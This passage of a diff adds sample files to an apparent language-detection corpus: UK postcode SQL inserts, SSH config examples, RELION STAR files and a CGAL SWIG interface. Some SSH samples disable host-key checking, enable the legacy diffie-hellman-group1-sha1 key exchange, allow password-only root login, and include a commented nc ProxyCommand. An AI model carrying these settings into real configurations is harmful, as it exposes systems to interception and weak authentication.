+('WD24', '', '', '51.67', '-0.398', 0, 1, 'uk'),
+('WD25', '', '', '51.684', '-0.389', 0, 1, 'uk'),
+('WD3', '', '', '51.645', '-0.481', 0, 1, 'uk'),
+('WD4', '', '', '51.709', '-0.456', 0, 1, 'uk'),
+('WD5', '', '', '51.705', '-0.417', 0, 1, 'uk'),
+('WD6', '', '', '51.657', '-0.275', 0, 1, 'uk'),
+('WD7', '', '', '51.686', '-0.309', 0, 1, 'uk'),
+('WF1', '', '', '53.687', '-1.492', 0, 1, 'uk'),
+('WF10', '', '', '53.724', '-1.344', 0, 1, 'uk'),
+('WF11', '', '', '53.711', '-1.256', 0, 1, 'uk'),
+('WF12', '', '', '53.684', '-1.62', 0, 1, 'uk'),
+('WF13', '', '', '53.692', '-1.645', 0, 1, 'uk'),
+('WF14', '', '', '53.68', '-1.693', 0, 1, 'uk'),
+('WF15', '', '', '53.708', '-1.698', 0, 1, 'uk'),
+('WF16', '', '', '53.71', '-1.669', 0, 1, 'uk'),
+('WF17', '', '', '53.719', '-1.641', 0, 1, 'uk'),
+('WF2', '', '', '53.673', '-1.511', 0, 1, 'uk'),
+('WF3', '', '', '53.723', '-1.524', 0, 1, 'uk'),
+('WF4', '', '', '53.647', '-1.519', 0, 1, 'uk'),
+('WF5', '', '', '53.68', '-1.576', 0, 1, 'uk'),
+('WF6', '', '', '53.7', '-1.414', 0, 1, 'uk'),
+('WF7', '', '', '53.667', '-1.35', 0, 1, 'uk'),
+('WF8', '', '', '53.685', '-1.299', 0, 1, 'uk'),
+('WF9', '', '', '53.606', '-1.32', 0, 1, 'uk'),
+('WN1', '', '', '53.554', '-2.626', 0, 1, 'uk'),
+('WN2', '', '', '53.537', '-2.582', 0, 1, 'uk'),
+('WN3', '', '', '53.529', '-2.645', 0, 1, 'uk'),
+('WN4', '', '', '53.495', '-2.643', 0, 1, 'uk'),
+('WN5', '', '', '53.532', '-2.685', 0, 1, 'uk'),
+('WN6', '', '', '53.574', '-2.669', 0, 1, 'uk'),
+('WN7', '', '', '53.498', '-2.517', 0, 1, 'uk'),
+('WN8', '', '', '53.553', '-2.768', 0, 1, 'uk'),
+('WR1', '', '', '52.197', '-2.217', 0, 1, 'uk'),
+('WR10', '', '', '52.114', '-2.064', 0, 1, 'uk'),
+('WR11', '', '', '52.095', '-1.929', 0, 1, 'uk'),
+('WR12', '', '', '52.043', '-1.874', 0, 1, 'uk'),
+('WR13', '', '', '52.094', '-2.342', 0, 1, 'uk'),
+('WR14', '', '', '52.113', '-2.319', 0, 1, 'uk'),
+('WR15', '', '', '52.305', '-2.568', 0, 1, 'uk'),
+('WR2', '', '', '52.19', '-2.241', 0, 1, 'uk'),
+('WR3', '', '', '52.216', '-2.21', 0, 1, 'uk'),
+('WR4', '', '', '52.205', '-2.184', 0, 1, 'uk'),
+('WR5', '', '', '52.177', '-2.199', 0, 1, 'uk'),
+('WR6', '', '', '52.228', '-2.37', 0, 1, 'uk'),
+('WR7', '', '', '52.197', '-2.052', 0, 1, 'uk'),
+('WR8', '', '', '52.082', '-2.203', 0, 1, 'uk'),
+('WR9', '', '', '52.268', '-2.157', 0, 1, 'uk'),
+('WS1', '', '', '52.579', '-1.977', 0, 1, 'uk'),
+('WS10', '', '', '52.56', '-2.021', 0, 1, 'uk'),
+('WS11', '', '', '52.689', '-2.017', 0, 1, 'uk'),
+('WS12', '', '', '52.706', '-1.999', 0, 1, 'uk'),
+('WS13', '', '', '52.692', '-1.818', 0, 1, 'uk'),
+('WS14', '', '', '52.663', '-1.814', 0, 1, 'uk'),
+('WS15', '', '', '52.758', '-1.917', 0, 1, 'uk'),
+('WS19', '', '', '52.556436', '-2.020665', 0, 1, 'uk'),
+('WS2', '', '', '52.588', '-2.002', 0, 1, 'uk'),
+('WS3', '', '', '52.618', '-1.99', 0, 1, 'uk'),
+('WS4', '', '', '52.605', '-1.959', 0, 1, 'uk'),
+('WS5', '', '', '52.567', '-1.959', 0, 1, 'uk'),
+('WS6', '', '', '52.658', '-2.022', 0, 1, 'uk'),
+('WS7', '', '', '52.68', '-1.913', 0, 1, 'uk'),
+('WS8', '', '', '52.646', '-1.933', 0, 1, 'uk'),
+('WS9', '', '', '52.609', '-1.917', 0, 1, 'uk'),
+('WV1', '', '', '52.586', '-2.115', 0, 1, 'uk'),
+('WV10', '', '', '52.617', '-2.112', 0, 1, 'uk'),
+('WV11', '', '', '52.61', '-2.071', 0, 1, 'uk'),
+('WV12', '', '', '52.606', '-2.039', 0, 1, 'uk'),
+('WV13', '', '', '52.585', '-2.06', 0, 1, 'uk'),
+('WV14', '', '', '52.557', '-2.078', 0, 1, 'uk'),
+('WV15', '', '', '52.516', '-2.375', 0, 1, 'uk'),
+('WV16', '', '', '52.511', '-2.44', 0, 1, 'uk'),
+('WV2', '', '', '52.574', '-2.118', 0, 1, 'uk'),
+('WV3', '', '', '52.58', '-2.151', 0, 1, 'uk'),
+('WV4', '', '', '52.563', '-2.142', 0, 1, 'uk'),
+('WV5', '', '', '52.533', '-2.209', 0, 1, 'uk'),
+('WV6', '', '', '52.596', '-2.181', 0, 1, 'uk'),
+('WV7', '', '', '52.633', '-2.27', 0, 1, 'uk'),
+('WV8', '', '', '52.623', '-2.183', 0, 1, 'uk'),
+('WV9', '', '', '52.633', '-2.14', 0, 1, 'uk'),
+('Y03', '', '', '53.971664', '-1.047148', 0, 1, 'uk'),
+('YO1', '', '', '53.958', '-1.081', 0, 1, 'uk'),
+('YO10', '', '', '53.95', '-1.058', 0, 1, 'uk'),
+('YO11', '', '', '54.265', '-0.395', 0, 1, 'uk'),
+('YO12', '', '', '54.274', '-0.422', 0, 1, 'uk'),
+('YO13', '', '', '54.288', '-0.496', 0, 1, 'uk'),
+('YO14', '', '', '54.199', '-0.297', 0, 1, 'uk'),
+('YO15', '', '', '54.094', '-0.177', 0, 1, 'uk'),
+('YO16', '', '', '54.095', '-0.201', 0, 1, 'uk'),
+('YO17', '', '', '54.136', '-0.753', 0, 1, 'uk'),
+('YO18', '', '', '54.258', '-0.767', 0, 1, 'uk'),
+('YO19', '', '', '53.91', '-1.021', 0, 1, 'uk'),
+('YO2', '', '', '54.272252', '-0.935131', 0, 1, 'uk'),
+('YO21', '', '', '54.477', '-0.712', 0, 1, 'uk'),
+('YO22', '', '', '54.451', '-0.621', 0, 1, 'uk'),
+('YO23', '', '', '53.925', '-1.121', 0, 1, 'uk'),
+('YO24', '', '', '53.946', '-1.114', 0, 1, 'uk'),
+('YO25', '', '', '54.005', '-0.413', 0, 1, 'uk'),
+('YO26', '', '', '53.975', '-1.172', 0, 1, 'uk'),
+('YO3', '', '', '53.963055', '-1.085481', 0, 1, 'uk'),
+('YO30', '', '', '53.986', '-1.114', 0, 1, 'uk'),
+('YO31', '', '', '53.969', '-1.063', 0, 1, 'uk'),
+('YO32', '', '', '54.011', '-1.059', 0, 1, 'uk'),
+('YO41', '', '', '53.969', '-0.902', 0, 1, 'uk'),
+('YO42', '', '', '53.923', '-0.79', 0, 1, 'uk'),
+('YO43', '', '', '53.85', '-0.69', 0, 1, 'uk'),
+('YO5', '', '', '53.996416', '-1.300782', 0, 1, 'uk'),
+('YO51', '', '', '54.082', '-1.376', 0, 1, 'uk'),
+('YO60', '', '', '54.082', '-0.941', 0, 1, 'uk'),
+('YO61', '', '', '54.115', '-1.193', 0, 1, 'uk'),
+('YO62', '', '', '54.242', '-0.993', 0, 1, 'uk'),
+('YO7', '', '', '54.224', '-1.35', 0, 1, 'uk'),
+('YO8', '', '', '53.781', '-1.058', 0, 1, 'uk'),
+('YO91', '', '', '53.975436', '-1.07902', 0, 1, 'uk'),
+('ZE1', '', '', '60.152', '-1.168', 0, 1, 'uk'),
+('ZE2', '', '', '60.331', '-1.226', 0, 1, 'uk'),
+('ZE3', '', '', '59.884', '-1.302', 0, 1, 'uk');
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/ssh-config b/samples/SSH Config/filenames/ssh-config
new file mode 100644
index 0000000000..cd8d842627
--- /dev/null
+++ b/samples/SSH Config/filenames/ssh-config	
@@ -0,0 +1,11 @@
+# Some vagrant box
+Host client-vagrant
+	HostName 127.0.0.1
+	User vagrant
+	Port 2200
+	UserKnownHostsFile /dev/null
+	StrictHostKeyChecking no
+	PasswordAuthentication no
+	IdentityFile /Users/gableroux/somewhere/.vagrant/machines/default/virtualbox/private_key
+	IdentitiesOnly yes
+	LogLevel FATAL 
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/ssh_config b/samples/SSH Config/filenames/ssh_config
new file mode 100644
index 0000000000..cf8b16583b
--- /dev/null
+++ b/samples/SSH Config/filenames/ssh_config	
@@ -0,0 +1,10 @@
+# Example server
+Host client-roomserver01
+Hostname 255.255.255.255
+User root
+Port 22
+IdentitiesOnly no
+PreferredAuthentications=password
+# ProxyCommand ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no client-proxy-server nc %h %p %r -e
+# ProxyCommand ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no client-proxy-server nc %h %p
+ProxyJump client-proxy-server
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/sshconfig b/samples/SSH Config/filenames/sshconfig
new file mode 100644
index 0000000000..6208a673e3
--- /dev/null
+++ b/samples/SSH Config/filenames/sshconfig	
@@ -0,0 +1,6 @@
+# github
+Host github github.com gist.github.com
+Hostname github.com
+User git
+IdentityFile ~/.ssh/github_rsa
+IdentitiesOnly yes
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/sshconfig.snip b/samples/SSH Config/filenames/sshconfig.snip
new file mode 100644
index 0000000000..5dafe95afb
--- /dev/null
+++ b/samples/SSH Config/filenames/sshconfig.snip	
@@ -0,0 +1,6 @@
+snippet     Host
+options     head
+	Host ${1:name}
+		HostName $1.${2:domain}
+		Port ${3}
+		${4:User }
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/sshd-config b/samples/SSH Config/filenames/sshd-config
new file mode 100644
index 0000000000..e9a966363b
--- /dev/null
+++ b/samples/SSH Config/filenames/sshd-config	
@@ -0,0 +1,8 @@
+# Router
+Host 192.168.1.1 tomato
+#Hostname tomato
+Hostname 192.168.1.1
+IdentityFile ~/.ssh/tomato_rsa
+IdentitiesOnly yes
+User root
+KexAlgorithms +diffie-hellman-group1-sha1
\ No newline at end of file
diff --git a/samples/SSH Config/filenames/sshd_config b/samples/SSH Config/filenames/sshd_config
new file mode 100644
index 0000000000..5d43692942
--- /dev/null
+++ b/samples/SSH Config/filenames/sshd_config	
@@ -0,0 +1,8 @@
+# Some password only server example
+Host 192.168.0.100 example
+Hostname 192.168.0.100
+IdentityFile ~/.ssh/id_rsa
+IdentitiesOnly yes
+User root
+PreferredAuthentications=password
+PubkeyAuthentication=no
\ No newline at end of file
diff --git a/samples/STAR/schedule.star b/samples/STAR/schedule.star
new file mode 100644
index 0000000000..ead2e97720
--- /dev/null
+++ b/samples/STAR/schedule.star
@@ -0,0 +1,100 @@
+
+# version 30001
+
+data_schedule_general
+
+_rlnScheduleName                       Schedules/mvf_basic/
+_rlnScheduleCurrentNodeName            UpdateMovies
+ 
+
+# version 30001
+
+data_schedule_floats
+
+loop_ 
+_rlnScheduleFloatVariableName #1 
+_rlnScheduleFloatVariableValue #2 
+_rlnScheduleFloatVariableResetValue #3 
+mut_movies_count     0.000000     0.000000 
+mut_movies_count_shadow     0.000000     0.000000 
+set_angpix     0.531500     0.531500 
+set_ctf_amp_contrast     0.100000     0.100000 
+set_ctf_powerspectrum_window     4.500000     4.500000 
+set_frame_dose     1.250000     1.250000 
+set_voltage   300.000000   300.000000 
+ 
+
+# version 30001
+
+data_schedule_bools
+
+loop_ 
+_rlnScheduleBooleanVariableName #1 
+_rlnScheduleBooleanVariableValue #2 
+_rlnScheduleBooleanVariableResetValue #3 
+mut_have_more_movies            0            0 
+ 
+
+# version 30001
+
+data_schedule_strings
+
+loop_ 
+_rlnScheduleStringVariableName #1 
+_rlnScheduleStringVariableValue #2 
+_rlnScheduleStringVariableResetValue #3 
+let_movies_starfile Schedules/mvf_basic/UpdateMovies/movies.star Schedules/mvf_basic/UpdateMovies/movies.star 
+let_movies_tablename     movies     movies 
+set_gain_file_path Micrographs/gain.mrc Micrographs/gain.mrc 
+set_movie_import_glob Micrographs/*.tif Micrographs/*.tif 
+set_mtf_file_path Micrographs/mtf_k3_300kv.star Micrographs/mtf_k3_300kv.star 
+ 
+
+# version 30001
+
+data_schedule_operators
+
+loop_ 
+_rlnScheduleOperatorName #1 
+_rlnScheduleOperatorType #2 
+_rlnScheduleOperatorOutput #3 
+_rlnScheduleOperatorInput1 #4 
+_rlnScheduleOperatorInput2 #5 
+mut_have_more_movies=mut_movies_count_GT_mut_movies_count_shadow    bool=gt mut_have_more_movies mut_movies_count mut_movies_count_shadow 
+mut_movies_count=COUNT_IMGS_let_movies_starfile_let_movies_tablename float=count_images mut_movies_count let_movies_starfile let_movies_tablename 
+mut_movies_count_shadow=SET_mut_movies_count  float=set mut_movies_count_shadow mut_movies_count mut_movies_count_shadow 
+ 
+
+# version 30001
+
+data_schedule_jobs
+
+loop_ 
+_rlnScheduleJobNameOriginal #1 
+_rlnScheduleJobName #2 
+_rlnScheduleJobMode #3 
+_rlnScheduleJobHasStarted #4 
+OutputProgress OutputProgress   continue            0 
+ StreamCTF  StreamCTF   continue            0 
+StreamMotion StreamMotion   continue            0 
+UpdateMovies UpdateMovies   continue            0 
+ 
+
+# version 30001
+
+data_schedule_edges
+
+loop_ 
+_rlnScheduleEdgeInputNodeName #1 
+_rlnScheduleEdgeOutputNodeName #2 
+_rlnScheduleEdgeIsFork #3 
+_rlnScheduleEdgeOutputNodeNameIfTrue #4 
+_rlnScheduleEdgeBooleanVariable #5 
+UpdateMovies mut_movies_count=COUNT_IMGS_let_movies_starfile_let_movies_tablename            0  undefined  undefined 
+mut_movies_count=COUNT_IMGS_let_movies_starfile_let_movies_tablename mut_have_more_movies=mut_movies_count_GT_mut_movies_count_shadow            0  undefined  undefined 
+mut_have_more_movies=mut_movies_count_GT_mut_movies_count_shadow UpdateMovies            1 StreamMotion mut_have_more_movies 
+StreamMotion  StreamCTF            0  undefined  undefined 
+ StreamCTF OutputProgress            0  undefined  undefined 
+OutputProgress mut_movies_count_shadow=SET_mut_movies_count            0  undefined  undefined 
+mut_movies_count_shadow=SET_mut_movies_count UpdateMovies            0  undefined  undefined 
+ 
diff --git a/samples/STAR/schedule_pipeline.star b/samples/STAR/schedule_pipeline.star
new file mode 100644
index 0000000000..1a905ab2ee
--- /dev/null
+++ b/samples/STAR/schedule_pipeline.star
@@ -0,0 +1,62 @@
+
+# version 30001
+
+data_pipeline_general
+
+_rlnPipeLineJobCounter                       6
+ 
+
+# version 30001
+
+data_pipeline_processes
+
+loop_ 
+_rlnPipeLineProcessName #1 
+_rlnPipeLineProcessAlias #2 
+_rlnPipeLineProcessType #3 
+_rlnPipeLineProcessStatus #4 
+Schedules/mvf_basic/UpdateMovies/       None            0            1 
+Schedules/mvf_basic/StreamMotion/       None            1            1 
+Schedules/mvf_basic/StreamCTF/       None            2            1 
+Schedules/mvf_basic/OutputProgress/       None           99            1 
+ 
+
+# version 30001
+
+data_pipeline_nodes
+
+loop_ 
+_rlnPipeLineNodeName #1 
+_rlnPipeLineNodeType #2 
+Schedules/mvf_basic/UpdateMovies/movies.star            0 
+Schedules/mvf_basic/StreamMotion/corrected_micrographs.star            1 
+Schedules/mvf_basic/StreamMotion/logfile.pdf           13 
+Schedules/mvf_basic/StreamCTF/micrographs_ctf.star            1 
+Schedules/mvf_basic/StreamCTF/logfile.pdf           13 
+ 
+
+# version 30001
+
+data_pipeline_input_edges
+
+loop_ 
+_rlnPipeLineEdgeFromNode #1 
+_rlnPipeLineEdgeProcess #2 
+Schedules/mvf_basic/UpdateMovies/movies.star Schedules/mvf_basic/StreamMotion/ 
+Schedules/mvf_basic/StreamMotion/corrected_micrographs.star Schedules/mvf_basic/StreamCTF/ 
+Schedules/mvf_basic/StreamCTF/micrographs_ctf.star Schedules/mvf_basic/OutputProgress/ 
+ 
+
+# version 30001
+
+data_pipeline_output_edges
+
+loop_ 
+_rlnPipeLineEdgeProcess #1 
+_rlnPipeLineEdgeToNode #2 
+Schedules/mvf_basic/UpdateMovies/ Schedules/mvf_basic/UpdateMovies/movies.star 
+Schedules/mvf_basic/StreamMotion/ Schedules/mvf_basic/StreamMotion/corrected_micrographs.star 
+Schedules/mvf_basic/StreamMotion/ Schedules/mvf_basic/StreamMotion/logfile.pdf 
+Schedules/mvf_basic/StreamCTF/ Schedules/mvf_basic/StreamCTF/micrographs_ctf.star 
+Schedules/mvf_basic/StreamCTF/ Schedules/mvf_basic/StreamCTF/logfile.pdf 
+ 
diff --git a/samples/STAR/symop.star b/samples/STAR/symop.star
new file mode 100644
index 0000000000..efacf14517
--- /dev/null
+++ b/samples/STAR/symop.star
@@ -0,0 +1,80 @@
+# symop.star: Converted from symop.lib on Sun Aug 27 08:39:43 2000
+
+# Each set of symmetry operators is written in its own data block
+# The data block tag is the space group number
+# The original spacegroup definition line is given as a comment
+
+
+
+
+############################# 1 #############################
+
+data_1
+
+# 1 1 1 P1 PG1 TRICLINIC 'P 1'
+
+_symmetry.Int_Tables_number     1
+_symmetry.space_group_name_H-M  P1
+_symmetry.cell_setting          TRICLINIC
+
+loop_
+_symmetry_equiv.id
+_symmetry_equiv.pos_as_xyz
+1   X,Y,Z
+
+
+############################# 2 #############################
+
+data_2
+
+# 2 2 2 P-1 PG1bar TRICLINIC 'P -1'
+
+_symmetry.Int_Tables_number     2
+_symmetry.space_group_name_H-M  P-1
+_symmetry.cell_setting          TRICLINIC
+
+loop_
+_symmetry_equiv.id
+_symmetry_equiv.pos_as_xyz
+1   X,Y,Z
+2   -X,-Y,-Z
+
+
+
+############################# 5090row #############################
+
+data_5090row
+
+loop_
+_symmetry_equiv.id
+_symmetry_equiv.pos_as_xyz
+1   X,Y,Z
+2   -X,-Y,Z
+3   -Y,X,Z
+############################# 5090col #############################
+
+data_5090col
+
+# 5090 8 8 P4212 PG422 TETRAGONAL_4axis 'P 4 21 2'
+
+_symmetry.Int_Tables_number     5090
+_symmetry.space_group_name_H-M  P4212
+_symmetry.cell_setting          TETRAGONAL_4axis
+
+############################# 5090both #############################
+
+data_5090both
+
+# 5090 8 8 P4212 PG422 TETRAGONAL_4axis 'P 4 21 2'
+
+_symmetry.Int_Tables_number     5090
+_symmetry.space_group_name_H-M  P4212
+_symmetry.cell_setting          TETRAGONAL_4axis
+
+loop_
+_symmetry_equiv.id
+_symmetry_equiv.pos_as_xyz
+1   X,Y,Z
+2   -X,-Y,Z
+3   -Y,X,Z
+4   Y,-X,Z
diff --git a/samples/SWIG/CGAL_AABB_tree.i b/samples/SWIG/CGAL_AABB_tree.i
new file mode 100644
index 0000000000..522c54ebd7
--- /dev/null
+++ b/samples/SWIG/CGAL_AABB_tree.i
@@ -0,0 +1,146 @@
+// ------------------------------------------------------------------------------
+// Copyright (c) 2011 GeometryFactory (FRANCE)
+// Distributed under the Boost Software License, Version 1.0. (See accompany-
+// ing file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
+// ------------------------------------------------------------------------------ 
+
+
+%module (package="CGAL") CGAL_AABB_tree
+
+%include "SWIG_CGAL/common.i"
+Decl_void_type()
+
+SWIG_CGAL_add_java_loadLibrary(CGAL_AABB_tree)
+SWIG_CGAL_package_common()
+
+%import  "SWIG_CGAL/Common/Macros.h"
+%include "SWIG_CGAL/Common/Iterator.h"
+%include "SWIG_CGAL/Common/Optional.h"
+%import  "SWIG_CGAL/Kernel/CGAL_Kernel.i"
+
+//include files
+%{
+  #define CGAL_INTERSECTION_VERSION 1
+  #include  <SWIG_CGAL/Kernel/typedefs.h>
+  #include  <SWIG_CGAL/Kernel/Point_3.h>
+  #include  <SWIG_CGAL/Kernel/Triangle_3.h>
+  #include  <SWIG_CGAL/Kernel/Segment_3.h>
+  #include  <SWIG_CGAL/Polyhedron_3/all_includes.h>
+  #include  <SWIG_CGAL/AABB_tree/all_includes.h>
+  #include  <SWIG_CGAL/AABB_tree/Object.h>
+%}
+
+//import definitions of Polyhedron objects
+%import "SWIG_CGAL/Polyhedron_3/CGAL_Polyhedron_3.i"
+
+//definitions
+%include "SWIG_CGAL/AABB_tree/AABB_tree.h"
+
+%pragma(java) jniclassimports=%{
+  import CGAL.Kernel.Triangle_3; import CGAL.Kernel.Segment_3; import CGAL.Kernel.Plane_3; import CGAL.Kernel.Ray_3; import CGAL.Kernel.Point_3;
+  import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle; import CGAL.Polyhedron_3.Polyhedron_3_Facet_handle; import java.util.Iterator; import java.util.Collection;
+%}
+
+//local Object class: we cannot use the class from Kernel module as CGAL::Object uses RTTI
+#ifdef SWIG_CGAL_AABB_tree_MODULE
+%include "SWIG_CGAL/Common/Object.i"
+#endif
+
+//import Polyhedron_3 wrapper types
+SWIG_CGAL_import_Polyhedron_3_Facet_handle_SWIG_wrapper
+SWIG_CGAL_import_Polyhedron_3_Halfedge_handle_SWIG_wrapper
+
+
+%include "std_pair.i"
+//Point_and_primitive_id
+%typemap(javaimports)       std::pair<Point_3,Polyhedron_3_Facet_handle_SWIG_wrapper > %{import CGAL.Kernel.Point_3; import CGAL.Polyhedron_3.Polyhedron_3_Facet_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Point_and_Polyhedron_3_Facet_handle,std::pair<Point_3,Polyhedron_3_Facet_handle_SWIG_wrapper >)
+%typemap(javaimports)       std::pair<Point_3,Polyhedron_3_Halfedge_handle_SWIG_wrapper > %{import CGAL.Kernel.Point_3; import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Point_and_Polyhedron_3_Halfedge_handle,std::pair<Point_3,Polyhedron_3_Halfedge_handle_SWIG_wrapper >)
+%typemap(javaimports)       std::pair<Point_3,int > %{import CGAL.Kernel.Point_3;%}
+SWIG_CGAL_declare_identifier_of_template_class(Point_and_Integer,std::pair<Point_3,int >)
+//Object_and_primitive_id
+%typemap(javaimports)       std::pair<Object,Polyhedron_3_Facet_handle_SWIG_wrapper > %{import CGAL.Polyhedron_3.Polyhedron_3_Facet_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Object_and_Polyhedron_3_Facet_handle,std::pair<Object,Polyhedron_3_Facet_handle_SWIG_wrapper >)
+%typemap(javaimports)       std::pair<Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper > %{import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Object_and_Polyhedron_3_Halfedge_handle,std::pair<Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper >)
+%typemap(javaimports)       std::pair<Object,int > %{import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Object_and_Integer,std::pair<Object,int >)
+//Optional<primitive_id>
+%typemap(javaimports)       Optional<Polyhedron_3_Halfedge_handle_SWIG_wrapper > %{import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Polyhedron_3_Halfedge_handle,Optional<Polyhedron_3_Halfedge_handle_SWIG_wrapper >);
+%typemap(javaimports)       Optional<Polyhedron_3_Facet_handle_SWIG_wrapper > %{import CGAL.Polyhedron_3.Polyhedron_3_Facet_handle;%}
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Polyhedron_3_Facet_handle,Optional<Polyhedron_3_Facet_handle_SWIG_wrapper >)
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Integer,Optional< int >);
+//Optional<Object_and_primitive_id>
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Object_and_Polyhedron_3_Halfedge_handle,Optional< std::pair<Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper > >)
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Object_and_Polyhedron_3_Facet_handle,Optional< std::pair<Object,Polyhedron_3_Facet_handle_SWIG_wrapper > >)
+SWIG_CGAL_declare_identifier_of_template_class(Optional_Object_and_Integer,Optional< std::pair<Object,int > >)
+
+
+#if !SWIG_CGAL_NON_SUPPORTED_TARGET_LANGUAGE
+SWIG_CGAL_input_iterator_typemap_in(Primitive_iterator_helper< Polyhedron_3_Facet_handle_SWIG_wrapper_for_typemap >::input,Polyhedron_3_Facet_handle_SWIG_wrapper,Polyhedron_3_Facet_handle,Polyhedron_3_Facet_handle_SWIG_wrapper::cpp_base,SWIGTYPE_p_SWIG_Polyhedron_3__CGAL_Facet_handleT_Polyhedron_3__t,"(LCGAL/Polyhedron_3/Polyhedron_3_Facet_handle;)J",rebuild)
+SWIG_CGAL_input_iterator_typemap_in(Primitive_iterator_helper< Polyhedron_3_Halfedge_handle_SWIG_wrapper_for_typemap >::input,Polyhedron_3_Halfedge_handle_SWIG_wrapper,Polyhedron_3_Halfedge_handle,Polyhedron_3_Halfedge_handle_SWIG_wrapper::cpp_base,SWIGTYPE_p_SWIG_Polyhedron_3__CGAL_Halfedge_handleT_Polyhedron_3__t,"(LCGAL/Polyhedron_3/Polyhedron_3_Halfedge_handle;)J",rebuild)
+SWIG_CGAL_input_iterator_typemap_in(Primitive_iterator_helper< Triangle_3 >::input,Triangle_3,Triangle_3,Triangle_3::cpp_base,SWIGTYPE_p_Triangle_3,"(LCGAL/Kernel/Triangle_3;)J",rebuild)
+SWIG_CGAL_input_iterator_typemap_in(Primitive_iterator_helper< Segment_3 >::input,Segment_3,Segment_3,Segment_3::cpp_base,SWIGTYPE_p_Segment_3,"(LCGAL/Kernel/Segment_3;)J",rebuild)
+#ifdef SWIGPYTHON
+SWIG_CGAL_input_iterator_typemap_in_python_extra_function(AABB_tree_wrapper::AABB_tree_wrapper)
+#endif
+SWIG_CGAL_input_iterator_typemap_in(Point_range,Point_3,Point_3,Point_3::cpp_base,SWIGTYPE_p_Point_3,"(LCGAL/Kernel/Point_3;)J",accelerate_distance_queries)
+#else //!SWIG_CGAL_NON_SUPPORTED_TARGET_LANGUAGE
+SWIG_CGAL_declare_identifier_of_template_class(Polyhedron_3_Facet_handle_input_iterator,Generic_input_iterator< Polyhedron_3_Facet_handle_SWIG_wrapper >)
+SWIG_CGAL_declare_identifier_of_template_class(Polyhedron_3_Halfedge_handle_input_iterator,Generic_input_iterator< Polyhedron_3_Halfedge_handle_SWIG_wrapper >)
+#endif //!SWIG_CGAL_NON_SUPPORTED_TARGET_LANGUAGE
+
+#if !SWIG_CGAL_NON_SUPPORTED_TARGET_LANGUAGE
+//intersected primitive output iterator
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper<Polyhedron_3_Facet_handle_SWIG_wrapper_for_typemap >::output,Polyhedron_3_Facet_handle_SWIG_wrapper ,Polyhedron_3_Facet_handle,Polyhedron_3_Facet_handle_SWIG_wrapper ::cpp_base,SWIGTYPE_p_SWIG_Polyhedron_3__CGAL_Facet_handleT_Polyhedron_3__t,"LCGAL/Polyhedron_3/Polyhedron_3_Facet_handle;")
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper<Polyhedron_3_Halfedge_handle_SWIG_wrapper_for_typemap >::output,Polyhedron_3_Halfedge_handle_SWIG_wrapper,Polyhedron_3_Halfedge_handle,Polyhedron_3_Halfedge_handle_SWIG_wrapper::cpp_base,SWIGTYPE_p_SWIG_Polyhedron_3__CGAL_Halfedge_handleT_Polyhedron_3__t,"LCGAL/Polyhedron_3/Polyhedron_3_Halfedge_handle;")
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper< int >::output,int,Integer,int,swig_types[0],"Ljava/lang/Integer;")
+
+//intersection output iterator
+%{ typedef std::pair<Object,Polyhedron_3_Facet_handle_SWIG_wrapper > Object_and_Polyhedron_3_Facet_handle; %}
+%define Object_and_Polyhedron_3_Facet_handle_base std::pair<CGAL::Object,Polyhedron_3_Facet_handle_SWIG_wrapper::cpp_base> %enddef
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper<Polyhedron_3_Facet_handle_SWIG_wrapper_for_typemap >::output2,Object_and_Polyhedron_3_Facet_handle,Object_and_Polyhedron_3_Facet_handle,Object_and_Polyhedron_3_Facet_handle_base,SWIGTYPE_p_std__pairT_Object_SWIG_Polyhedron_3__CGAL_Facet_handleT_Polyhedron_3__t_t,"LCGAL/AABB_tree/Object_and_Polyhedron_3_Facet_handle;")
+%{ typedef std::pair<Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper > Object_and_Polyhedron_3_Halfedge_handle; %}
+%define Object_and_Polyhedron_3_Halfedge_handle_base std::pair<CGAL::Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper::cpp_base> %enddef
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper<Polyhedron_3_Halfedge_handle_SWIG_wrapper_for_typemap >::output2,Object_and_Polyhedron_3_Halfedge_handle,Object_and_Polyhedron_3_Halfedge_handle,Object_and_Polyhedron_3_Halfedge_handle_base,SWIGTYPE_p_std__pairT_Object_SWIG_Polyhedron_3__CGAL_Halfedge_handleT_Polyhedron_3__t_t,"LCGAL/AABB_tree/Object_and_Polyhedron_3_Halfedge_handle;")
+
+%{ typedef std::pair<Object,int > Object_and_Integer; %}
+%define Object_and_Integer_base std::pair<CGAL::Object,int> %enddef
+SWIG_CGAL_output_iterator_typemap_in(Primitive_iterator_helper< int >::output2,Object_and_Integer,Object_and_Integer,Object_and_Integer_base,SWIGTYPE_p_std__pairT_Object_int_t,"LCGAL/AABB_tree/Object_and_Integer;")
+#else
+%include "SWIG_CGAL/Common/Output_iterator_wrapper.h"
